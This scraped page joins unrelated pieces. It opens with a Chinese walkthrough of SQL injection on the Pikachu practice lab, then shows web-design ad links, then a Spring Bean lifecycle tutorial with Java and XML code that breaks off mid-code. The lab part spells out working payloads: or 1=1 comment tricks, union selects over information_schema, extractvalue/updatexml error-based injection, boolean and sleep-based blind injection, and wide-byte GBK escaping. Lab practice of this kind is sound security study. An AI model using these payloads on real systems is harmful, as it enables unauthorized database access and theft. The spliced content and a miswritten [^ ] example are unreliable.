pick靶場-sql注入

甲.数字型注入

数字型注入一般提交值沒有引號,所以直接在後面構造語句就可以了。

 

 

 

 抓包查看

 

 

 

 構造語句

 

 

 

 提交后

 

 

 

 

該數據庫表內容被爆出來了。

 

乙.字符型注入

 

首先我們要知道一點,字符串在數據庫中提交是需要用引號將字符串包含的。所以字符型注入一般需要用到引號來閉合字符串,閉合引號后就可以接執行的sql語句,就可以執行。

name=’kobe’

這時候需要構造語句  ‘or 1=1# 單引號是為了閉合1前面的單引號,#是為了註釋掉後面語句

 

這裏輸入kobe提交后显示了uid和email,猜測語句是 select uid,email from 表 where username=’輸入的值’

這裏要構造語句,輸入的值變成’or 1=1#。那麼查詢語句就是select uid,email from 表 where username=”or 1=1#’

閉合單引號后,把後面一個單引號註釋掉。

 

 

 

嘗試讀取數據庫信息。

使用order by 猜表字段數

 

 

 

 

 

 

表字段數為2,開始構造語句

 database() 數據庫名

 version() 數據庫版本

 user()

 

22′  union select  database(),user()#

 

這裏了解下mysql中information_schema數據庫,他可以幫助我們查詢更多信息。

 

Mysql 5.0以上中,information_schema數據庫會記錄當前數據庫信息。

information_schema.tables 表名信息

information_schema.columns  列名信息

Table_name 表名

Column_name 列名

Table_schema  數據庫名

 

group_concat用來合併多條數據記錄,可用來合併結果。

因此,查詢當前數據庫下錶名可以使用(group_concat使用與否均可,主要看返回信息。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查詢表中列名

group_concat(column_name) from information_schema.columns where table_name = ‘列名’、

 

丙.搜索型注入

搜索框中的數據庫語句一般是採用的查詢語句,這裏我們先了解下sql查詢語句

SQL提供了四種匹配模式:% _ [ ] [^ ]

 

1. %

%表示模糊匹配0或多個字符,如以下查詢語句:

select * from user where name like ‘%三%’; 這個語句將會把name中帶有“三”的信息全部查找出來

select * from user where name like ‘%三’ ; 這個語句將會把name中最右邊帶有“三”的信息全部查找出來

select * from user where name like ‘三%’ ; 這個語句將會把name中最左邊帶有“三”的信息全部查找出來

 

2. _

_表示任意單個字符,如以下語句:

select * from user where name like ‘_三_’; 這個語句會匹配出“二三四”

select * from user where name like ‘__三’; 這個語句會匹配出“一二三”

 

3. [ ]

[ ]表示括號內所列字符中的一個(類似於正則表達式),如以下語句:

select * from user where name like ‘老[大二三]’; 如果都存在的話將找出“老大”、“老二”、“老三”

同時支持縮寫0-9、a-z等。

 

4.[^ ]

類似於正則表達式,將括號內的元素排除,如以下語句:

select * from user where name like ‘[0-3]個’ 將會檢索出除了“0個”,“1個”,“2個”,“3個”

————————————————

版權聲明:本文為CSDN博主「MuffinFish」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/qq_36113598/article/details/79372493

 

看題目,首先輸入ko,能夠查詢出來

 

再輸入ob,也可以查詢出來

 

 

 

很明顯,這裏使用的語句,應該是%這種類型的模糊查詢方式。

猜測語句是select username,uid,email from 表 where username=’%輸入的值%’

構造語句,直接使用’or 1=1#

‘閉合掉字符串,然後使用#註釋掉後面的%’

 

 

 

sql語句很靈活,閉合前一個語句后,可以使用聯合查詢查詢數據庫信息,比如’union select user(),2,3#

 

 

丁.xx注入

先試一試’union select 1,2#

報錯显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2,3#’)’ at line 1

發現我們寫的語句後面有個引號和括號,嘗試構造語句閉合

‘) union select 1,2,3#

報錯select列的數量不匹配,說明執行了我們構造的語句。嘗試改成’) union select 1,2#

 

 

爆表數據就要用 ‘)or 1=1#

 

 

戊.insert/update注入

insert/update/delete注入

在這3種情況中,我們不能使用 union 去做聯合查詢,因為這不是查詢,而是操作。首先猜測語句類型,是查詢類的可以通過union語句來查詢。

 

首先,添加用戶的地方是對數據庫表進行寫入操作。

我們要了解,sql中寫入新數據,用的語句是

INSERT INTO 表名稱 VALUES (值1, 值2,….)

我們也可以指定所要插入數據的列:

INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,….)

使提交報錯也印證了語句是用是insert into語句

 

 

 

首先要了解insert注入一般使用的語句

extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1′

extractvalue() :對XML文檔進行查詢的函數

語法:extractvalue(目標xml文檔,xml路徑)

第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

 

正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

 

concat函數是mysql的字符串連接函數

裏面可以執行sql語句

select concat(0x7e,(select user()) ,0x7e)

驗證結果:16進制也能被自動轉義(0x7e是 ~符號)

 

 

下面故意寫入語法錯誤:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

 

 

 https://blog.csdn.net/zpy1998zpy/article/details/80631036

 就是使extractvalue函數中第二個參數變成~select detabase(),這樣與extractvalue函數規定的語法不同,就會引起報錯。

在寫入數據的地方使用構造語句

ttt’and extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1

 

 

 

 

updatexml()

做數據修改的時候會存在update注入的地方

 

updatexml()函數與extractvalue()類似,是更新xml文檔的函數。

語法updatexml(目標xml文檔,xml路徑,更新的內容)

報錯語句為

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

 

 

構造語句

aa’ and updatexml(1,concat(0x7e,(database())),1) and ‘1’=’1

 

 

 其實也可以使用extractvalue(),只要有報錯,會執行我們構造的語句就成。

 

 

己.delete注入

sql中刪除數據一般使用

DELETE 語句

DELETE 語句用於刪除表中的行。

語法

DELETE FROM 表名稱 WHERE 列名稱 = 值

 

點擊刪除

 

 

抓包看

 

 刪除的列名為id,值為59。不為字符串,可直接構造語句

and extractvalue(1,concat(0x7e,(database())))

 url上改直接輸入

 

 

改數據包需要使用空格實體或者+

 

 

庚.http header

web滲透很多地方都涉及到數據包頭部的改寫,我這裏就不多說。

 

 

這題很坑的地方在於,不了解後端代碼是怎麼寫的做起來很彆扭,因為這題目要显示出包頭的信息根本不需要將包頭信息存儲在數據庫中。代碼里倒是寫進數據庫了,但後面調用是直接讀前端獲取到的頭部信息,沒有從數據庫中讀取,可能作者是想做個類似訪問記錄的東西。

 

辛.boolian盲注

根據返回信息判斷語句是否正確。

基於真假的盲注主要特徵

  • 沒有報錯信息
  • 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
  • 在正確的輸入下,後面跟 and 1=1 / and 1=2 進行判斷

 

kobe’ and 1=1#
kobe’ and 1=2#

發現一條正確執行,一條显示用戶名不存在,說明後台存在 SQL 注入漏洞

length(database()) 判斷 數據庫名稱的長度

kobe’ and length(database()) >5#

 

SUBSTR函數

 substr(database(), 1, 1) 截取數據庫名稱第一個字符

ascii(substr(database(), 1, 1)) 截取數據庫名稱第一個字符,轉換成ascii值

kobe’ and ascii(substr(database(), 1, 1)) > 105# 判斷數據庫名稱第一個字符ascii值的大小

 

判斷出數據庫名稱后可以使用substr(database(),1,1)=’字母’#

進行爆破,然後substr(database(),2,1)=’字母’#依次爆破,得出完整數據庫名。

 

這裏簡要說明下SUBSTR函數:

SUBSTR函數是用來截取數據庫某一列字段中的一部分。

在各個數據庫的函數名稱不一樣

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

常用的方式是:

SBUSTR(str,pos);

就是從pos開始的位置,一直截取到最後。

 

還有一種比較常用的是:

SUBSTR(str,pos,len);

這種表示的意思是,就是從pos開始的位置,截取len個字符(空白也算字符)。

需要注意的是:如果pos為1(而不是0),表示從第一個位置開始。

————————————————

版權聲明:SUBSTR函數說明為CSDN博主「呼嘯」的原創,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/howlaa/article/details/16825761

 

壬.延時盲注

構造語句,使語句提交操作延時,來判斷構造的語句是否正確。

kobe’ and sleep(3)#

該語句表示如果存在kobe,則延時提交3秒。

根據這個方法,可以組合其他語句來猜解當前數據庫信息。

 

lili’ and if(substr(database(),1,1)=’p’,sleep(5),1)#

 

 

 

盲注可以通過爆破來輔助猜解,具體參考https://www.cnblogs.com/paperpen/p/12324363.html

 

癸.寬字節注入

寬字節注入是因為數據庫使用了GBK編碼,多字節的編碼,兩個字節代表一個漢字。

注入中單引號存在被反斜杠轉義的情況。\’,其中\的十六進制是 %5C。%df’被轉義成%df\’,就變成了%df\’=%df%5c%27,%df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’。單引號就可以按照初期想法被識別。

構造語句kobe%df%27 or 1=1#,通過網頁修改無效,直接修改數據包,成功。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

Spring Bean生命周期的各階段介紹

一.xml方式配置bean

二.Aware接口

  2.1 BeanNameAware

  2.2 BeanFactoryAware

  2.3 ApplicationContextAware

  2.4 Aware各接口的執行順序

  2.4 Aware接口總結

三.BeanPostProcessor接口

四.InitializingBean接口

五.init-method方法

六.DestructionAwareBeanPostProcessor接口

七.DisposableBean接口

八.destory-method方法

九.生命周期大雜燴

  9.1 實現多接口的Student類

  9.2 BeanPostProcessor前後置處理

  9.3 DestructionAwareBeanPostPrecessor接口

  9.4 配置xml文件

  9.5 測試代碼

  9.6 輸出結果

十.總結

 

 

 

 

  Spring Bean的生命周期是一個老生常談的問題了,網上一搜一大把,無非就是畫一幅流程圖(比如下面這幅圖),然後用語言介紹創建bean后執行各Aware接口,然後BeanPostProcessor…..最終Bean創建成功了,就可以使用這個Bean了,然後在容器銷毀的時候,又會執行一些操作。

  其實對於上面的提到的流程圖,注意上面的圖只是Spring Bean的大概流程(省略了一部分),主要涉及到了5個接口,分別是XxxAware、BeanPostProcessor、InitiailizingBean、Destruction、DisposableBean接口,本文將會對這幾個接口,以及init-method、destroy-method做相關的使用介紹,在明白怎麼使用后,再把他們串起來,這樣的話,對於Spring Bean的生命周期就差不多知道咋回事了,而不用死記硬背。

 

一. xml方式配置Bean

  在說Aware、BeanPostProcessor、InitiailizingBean、Destruction、DisposableBean這些接口前,先簡單回顧一下使用xml配置並獲取一個Student類的bean過程,後面介紹各個接口的使用方式時時,也是按照這個形式;

1.1 創建Student類

  平淡無奇的Student類:

package cn.ganlixin.entity;

import lombok.Data;
import lombok.extern.slf4j.Slf4j;

@Data
@Slf4j
public class Student {

    private Integer id;
    private String name;
}

  

1.2 創建配置文件

  平淡無奇的applicationContext.xml配置文件,創建一個student bean,利用setter方式設置初始值:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>
</beans>

  

1.3 測試

  創建一個Main類,用於測試

package cn.ganlixin;

import cn.ganlixin.entity.Student;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.xml.XmlBeanFactory;
import org.springframework.core.io.ClassPathResource;

@Slf4j
public class Test {

    public static void main(String[] args) {
        BeanFactory beanFactory = new XmlBeanFactory(new ClassPathResource("applicationContext.xml"));

        Student student = beanFactory.getBean("student", Student.class);
        log.info("測試程序獲取到的student bean:{}", student);
    }
}

  下面是運行程序的輸出,可以看到和預期相符,創建一個Student的bean,id和name默認值為99、張三;

INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

   

二.Aware接口

  Aware接口有很多實現類,本文只介紹BeanNameAware、BeanFactoryAware、ApplicationContextAware,關係如下:

  

 

2.1 BeanNameAware

  創建一個Student類,讓該類實現BeanNameAware接口,並且重寫setBeanName方法

@Data
@Slf4j
public class Student implements BeanNameAware {

    private Integer id;
    private String name;

    /**
     * 實現了BeanNameAware接口后,需重寫setBeanName方法,接收的參數就是bean的id
     *
     * @param s bean的id
     */
    @Override
    public void setBeanName(String s) {
        log.info("beanName:{}, student bean:{}", s, this);
        this.id = 100;
        log.info("將beanName:{}的id改為100", s);
    }
}

  配置文件和測試程序都不改變,運行測試程序,輸出內容如下:

INFO  [main] cn.ganlixin.entity.Student - beanName:student, student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - 將beanName:student的id改為100
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=100, name=張三)

  可以看到,實現BeanNameAware接口后,重寫setBeanName的方法中,獲取到的student bean,是已經初始化的bean(屬性都已經有值了),並且setBeanName方法中可以對當前的bean進行各種操作,包括修改bean的某些屬性,最後獲取到的bean是已經修改后的bean。

  這裏只是簡單介紹了一下BeanNameAware接口的用法,使用BeanNameAware接口,可以對當前Bean進行操作。

 

2.2 BeanFactoryAware

  創建Student類,實現BeanFactoryAware接口,並且重寫setBeanFactory方法

@Data
@Slf4j
public class Student implements BeanFactoryAware {

    private Integer id;
    private String name;

    /**
     * 實現BeanFactoryAware接口后,需重寫setBeanFactroy方法
     *
     * @param beanFactory 創建該bean的beanFactory
     */
    @Override
    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {
        // 可以在setBeanFactory方法中獲取、修改beanFactory中的所有bean
        
        log.info("student this bean:{}", this);
        Student student = beanFactory.getBean("student", Student.class);
        log.info("通過beanFactory獲取student bean:{}", student);

        // 將name設置為李四
        this.name = "李四";
    }
}

  運行輸出如下:

INFO  [main] cn.ganlixin.entity.Student - student this bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - 通過beanFactory獲取student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=李四)

  通過上面的代碼輸出結果可以看出,實現BeanFactoryAware接口后,可以在setBeanFactory方法中操作BeanFactory的所有bean,操作的範圍要比BeanNameAware要大。

 

2.3 ApplicationContextAware

  ApplicationContext,有多種稱呼,比如“應用容器”、“環境”、“上線文”…

  創建Student類,實現ApplicationContextAware接口,並且重寫setApplicationContext接口:

@Data
@Slf4j
public class Student implements ApplicationContextAware {

    private Integer id;
    private String name;

    /**
     * 實現ApplicationContextAware接口后,徐重寫setApplicationContext方法
     *
     * @param applicationContext 該bean所在的上下文(applicationContext、容器)
     */
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        log.info("Student this:{}", this);

        final Student student = applicationContext.getBean("student", Student.class);
        final Environment environment = applicationContext.getEnvironment();
        log.info("student bean:{}", student);
        log.info("env -> user.dir:{}", environment.getProperty("user.dir"));
    }
}

  需要修改一下測試程序,測試程序中加載配置時使用的XmlBeanFactory,而XmlBeanFactory不會回調ApplicationContextAware接口的setApplicationContext方法,下面使用ClassPathXmlApplicationContext類來加載配置:

@Slf4j
public class Test {

    public static void main(String[] args) {
        //BeanFactory beanFactory = new XmlBeanFactory(new ClassPathResource("applicationContext.xml"));

        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);
        log.info("測試程序獲取到的student bean:{}", student);
    }
}

  運行測試程序:

INFO  [main] cn.ganlixin.entity.Student - Student this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.entity.Student - env -> user.dir:/Users/ganlixin/code/java-code-all/spring
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  實現ApplicationContextAware接口后,在setApplicationContext方法中,入參是當前的applicationContext,也就是說,可以在該方法中對Spring容器進行設置,操作的範圍又要比BeanFactoryAware的setBeanFactory要廣得多。

 

2.4 Aware各接口執行的先後順序

  既然有這幾個Aware接口,如果一個類同時實現了這3個接口,那麼執行順序是怎樣的呢?下面就來測試一下。

  創建Student類,分別實現BeanNameAware、BeanFactoryAware、ApplicationContextAware接口,並重寫其接口的方法:

@Data
@Slf4j
public class Student implements BeanNameAware, BeanFactoryAware, ApplicationContextAware {

    private Integer id;
    private String name;

    /**
     * 實現了BeanNameAware接口后,需重寫setBeanName方法,接收的參數就是bean的id
     *
     * @param s bean的id
     */
    @Override
    public void setBeanName(String s) {
        log.info("call BeanNameAware.setBeanName()");
    }

    /**
     * 實現BeanFactoryAware接口后,需重寫setBeanFactroy
     *
     * @param beanFactory 創建該bean的bean工廠
     */
    @Override
    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {
        log.info("call BeanFactoryAware.setBeanFactory()");
    }

    /**
     * 實現ApplicationContextAware接口后,徐重寫setApplicationContext方法
     *
     * @param applicationContext 該bean所在的上下文(applicationContext、容器)
     */
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        log.info("call ApplicationContextAware.setApplicationContext()");
    }
}

  仍舊使用ClassPathXmlApplicationContext類來加載配置,運行輸出結果如下:

INFO  [main] cn.ganlixin.entity.Student - call BeanNameAware.setBeanName()
INFO  [main] cn.ganlixin.entity.Student - call BeanFactoryAware.setBeanFactory()
INFO  [main] cn.ganlixin.entity.Student - call ApplicationContextAware.setApplicationContext()
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  

2.4 Aware接口總結

  上面演示了Spring中幾個Aware接口的用法和特點,下面總結一下:

  1.實現BeanNameAware接口后,重寫setBeanName方法,可以對單個Bean進行擴展修改;

  2.實現BeanFactoryAware接口后,重寫setBeanFactory方法,可以對bean工廠中的所有Bean進行擴展修改;

  3.實現ApplicationContextAware接口后,重寫setApplicationContext方法后,可以對整個容器進行擴展修改;

  4.這幾個接口的執行順序分別是BeanNameAware->BeanFactoryAware->ApplicationContextAware;

 

三.BeanPostProcessor接口

  BeanPostProcessor和前面的Aware接口有些區別,通過下面的例子就能看出區別在哪裡!

  下面舉個例子,創建MyBeanPostProcessor類,實現BeanPostProcessor接口,注意,這裏沒有在Student類上實現BeanPostProcessor接口。

@Slf4j
public class MyBeanPostProcessor implements BeanPostProcessor {

    /**
     * 實現了BeanPostProcessor接口后,重寫postProcessBeforeInitialization,在各種Aware接口執行完畢后執行該方法
     *
     * @param bean     本次處理的bean
     * @param beanName 本次處理的beanName(bean id)
     * @return 返回的是在本方法中處理后的bean
     */
    @Override
    public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {
        log.info("MyBeanPostProcessor.postProcessBeforeInitialization, beanName:{}, bean:{}", beanName, bean);
        return bean;
    }

    /**
     * 實現了BeanPostProcessor接口后,重寫postProcessBeforeInitialization,在initMethod方法執行完畢后執行該方法
     *
     * @param bean     本次處理的bean
     * @param beanName 本次處理的beanName(bean id)
     * @return 返回的是在本方法中處理后的bean
     */
    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {
        log.info("MyBeanPostProcessor.postProcessAfterInitialization, beanName:{}, bean:{}", beanName, bean);
        return bean;
    }
}

  創建兩個類,分別是Student和User類,其中Use類沒有實現Aware接口,Student類實現了前面提到的3個Aware接口

@Data
public class User {
    private Integer id;
    private String name;
}

  

@Data
@Slf4j
public class Student implements BeanNameAware, BeanFactoryAware, ApplicationContextAware {

    private Integer id;
    private String name;

    /**
     * 實現了BeanNameAware接口后,需重寫setBeanName方法,接收的參數就是bean的id
     *
     * @param s bean的id
     */
    @Override
    public void setBeanName(String s) {
        log.info("call BeanNameAware.setBeanName()");
    }

    /**
     * 實現BeanFactoryAware接口后,需重寫setBeanFactroy
     *
     * @param beanFactory 創建該bean的bean工廠
     */
    @Override
    public void setBeanFactory(BeanFactory beanFactory) throws BeansException {
        log.info("call BeanFactoryAware.setBeanFactory()");
    }

    /**
     * 實現ApplicationContextAware接口后,徐重寫setApplicationContext方法
     *
     * @param applicationContext 該bean所在的上下文(applicationContext、容器)
     */
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
        log.info("call ApplicationContextAware.setApplicationContext()");
    }
}

  

  xml配置文件:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>

    <bean class="cn.ganlixin.entity.User" id="user">
        <property name="id" value="88"/>
        <property name="name" value="王五"/>
    </bean>

    <!-- 將實現了BeanPostProcessor接口的類也聲明為bean -->
    <bean class="cn.ganlixin.processor.MyBeanPostProcessor"/>
</beans>

  

  測試:

INFO  [main] cn.ganlixin.entity.Student - call BeanNameAware.setBeanName()
INFO  [main] cn.ganlixin.entity.Student - call BeanFactoryAware.setBeanFactory()
INFO  [main] cn.ganlixin.entity.Student - call ApplicationContextAware.setApplicationContext()
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessBeforeInitialization, beanName:student1, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessAfterInitialization, beanName:student1, bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessBeforeInitialization, beanName:user, bean:User(id=88, name=王五)
INFO  [main] cn.ganlixin.processor.MyBeanPostProcessor - MyBeanPostProcessor.postProcessAfterInitialization, beanName:user, bean:User(id=88, name=王五)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  從上面的運行結果可以得出以下結論:

  1.因為只有Student實現了Aware接口,所以創建student bean的時候會調用對應的Aware接口方法,而User類沒有實現Aware接口,所以並沒有調用Aware接口方法;

  2.Student和User類都沒有繼承BeanPostProcessor接口,但是在創建student和user bean的時候,都掉用了MyBeanPostProcessor類中的前置和後置處理(繼承自BeanPostProcessor接口);

  3.BeanPostProcessor接口的前置和後置處理,是在Aware接口之後調用;

  4.很重要的一點,需要將BeanPostProcessor接口實現類聲明為bean,使用<bean>配置或者使用@Component註解,不然BeanPostProcessor不起作用。

 

四.InitializingBean接口

  創建Student類,實現InitializingBean接口,然後重寫afterPropertiesSet方法:

@Data
@Slf4j
public class Student implements InitializingBean {

    private Integer id;
    private String name;

    @Override
    public void afterPropertiesSet() throws Exception {
        // 同樣可以在這裏修改bean的屬性值
        log.info("InitialingBean.afterPropertiesSet, this:{}", this);
    }
}

  修改xml配置文件,創建student bean,測試:

INFO  [main] cn.ganlixin.entity.Student - InitialingBean.afterPropertiesSet, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  

五.init-method

  創建Student類,增加一個額外的方法display()

@Data
@Slf4j
public class Student {

    private Integer id;
    private String name;

    public void display() {
        log.info("Student.display call, this:{}", this);
    }
}

  修改配置文件,在<bean>標籤中增加init-method屬性,值為display,也就是Student的display方法名:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student" init-method="display">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>
</beans>

  運行測試:

INFO  [main] cn.ganlixin.entity.Student - Student.display call, this:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)

  上面,輸出了display中的內容,這是在設置bean的時候調用的。

 

六.DestructionAwareBeanPostProcessor接口

  DestructionAwareBeanPostProcessor接口,從名稱上可以看出來是DestructionAware + BeanPostProcessor的組合,其實也的確是這樣,但是需要注意的就是,spring並沒有提供DestructionAware接口!!

  下面是DestructionAwareBeanPostProcessor接口的定義:

public interface DestructionAwareBeanPostProcessor extends BeanPostProcessor {

    /**
     * Destruction執行的操作
     *
     * @param bean     處理的bean
     * @param beanName bean的名稱
     * @throws BeansException
     */
    void postProcessBeforeDestruction(Object bean, String beanName) throws BeansException;

    /**
     * 是否需要執行postProcessBeforeDestruction方法
     *
     * @param bean 執行Destruction的bean
     * @return 是否需要執行postProcessBeforeDestruction方法
     */
    default boolean requiresDestruction(Object bean) {
        return true;
    }
}

  DestructionAwareBeanPostProceesor繼承自BeanPostProcessor接口,所以也可以重寫前值和後置處理。

  下面介紹使用示例,創建MyDestructionAwareBeanPostProceesor,繼承DestructionAwareBeanPostProceesor接口:

@Slf4j
public class MyDestructionAwareBeanPostProcessor implements DestructionAwareBeanPostProcessor {

    @Override
    public void postProcessBeforeDestruction(Object bean, String beanName) throws BeansException {
        log.info("DestructionAwareBeanPostProcessor.postProcessBeforeDestruction, \n\tbeanName:{}, bean:{}", beanName, bean);
    }
    
    @Override
    public boolean requiresDestruction(Object bean) {
        return true; // 返回true,一律執行postProcessBeforeDestruction方法
        // 如果返回false,則不執行postProcessBeforeDestruction方法
    }
}

  修改配置文件:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>


    <bean class="cn.ganlixin.entity.User" id="user">
        <property name="id" value="88"/>
        <property name="name" value="王五"/>
    </bean>

    <!-- 將實現了DestructionAwareBeanPostProcessor接口的實現類聲明為bean> -->
    <bean class="cn.ganlixin.processor.MyDestructionAwareBeanPostProcessor"/>
</beans>

  測試程序:

@Slf4j
public class Test {

    public static void main(String[] args) {
        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);
        User user = context.getBean("user", User.class);

        log.info("測試程序獲取到的student bean:{}", student);

        // 獲取bean工廠,然後調用destroyBean銷毀bean
        AutowireCapableBeanFactory factory = context.getAutowireCapableBeanFactory();
        factory.destroyBean(student);
    }
}

  運行測試程序,輸出如下:

INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.processor.MyDestructionAwareBeanPostProcessor - DestructionAwareBeanPostProcessor.postProcessBeforeDestruction, 
	beanName:cn.ganlixin.entity.Student, bean:Student(id=99, name=張三)

  可以看到,在手動調用destroyBean方法來銷毀student bean的時候,調用了MyDestructionAwareBeanPostProcessor中定義的方法。

  需要注意的是,雖然這裏使用destroyBean來銷毀了student bean,如果又通過getBean來獲取student bean,則會重新創建student bean。

 

七.DisposableBean接口 

  前面介紹了DestructionAwareBeanPostProcessor接口,可以對所有的bean設置銷毀(destruction)后的處理操作。

  而這裏介紹的DisposableBean接口,就是對單獨的Bean進行destrction后的處理,也就是說不是應用到所有的bean上。

  簡單介紹一下用法,創建Student類和User類,User類正常(不實現任何接口),Student類實現DisposableBean接口,然後重寫destroy方法:

@Data
@Slf4j
public class Student implements DisposableBean {

    private Integer id;
    private String name;

    @Override
    public void destroy() throws Exception {
        log.info("DisposableBean.destroy, this:{}", this);
    }
}

@Data
public class User {
    private Integer id;
    private String name;
}

  創建配置文件:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean class="cn.ganlixin.entity.Student" id="student">
        <property name="id" value="99"/>
        <property name="name" value="張三"/>
    </bean>

    <bean class="cn.ganlixin.entity.User" id="user">
        <property name="id" value="88"/>
        <property name="name" value="王五"/>
    </bean>
</beans>

  測試程序:

@Slf4j
public class Test {

    public static void main(String[] args) {
        // 使用ApplicationContext來加載配置
        ApplicationContext context = new ClassPathXmlApplicationContext("applicationContext.xml");
        Student student = context.getBean("student", Student.class);
        User user = context.getBean("user", User.class);

        log.info("測試程序獲取到的student bean:{}", student);
        log.info("測試程序獲取到的user bean:{}",user);

        // 獲取bean工廠,然後調用destroyBean銷毀bean
        AutowireCapableBeanFactory factory = context.getAutowireCapableBeanFactory();
        factory.destroyBean(student);
        factory.destroyBean(user);
    }
}

  運行輸出:

INFO  [main] cn.ganlixin.Test - 測試程序獲取到的student bean:Student(id=99, name=張三)
INFO  [main] cn.ganlixin.Test - 測試程序獲取到的user bean:User(id=88, name=王五)
INFO  [main] cn.ganlixin.entity.Student - DisposableBean.destroy, this:Student(id=99, name=張三)

  可以看到,雖然測試代碼中destroy了student和user兩個bean,但是只有student bean在銷毀時觸發了DisposableBean的destory方法。

 

八.destroy-method方法

  和init-method相對應的就是destory-method方法了,創建Student類,增加clean方法(自定義):

@Data
@Slf4j
public class Student {

    private Integer id;
    private String name;

    public void clean() {
        log.info("Student.clean, this:{}", this);
    }
}

  修改配置文件,<bean>標籤中使用destroy-method屬性,值為clean方法

<bean class="cn.ganlixin.entity.Student" id="student" destroy-method="clean">
    <property name="id" value="99"/>
    <property name="name" value="張三"/>
</bean>

  測試程序:

@Slf4j
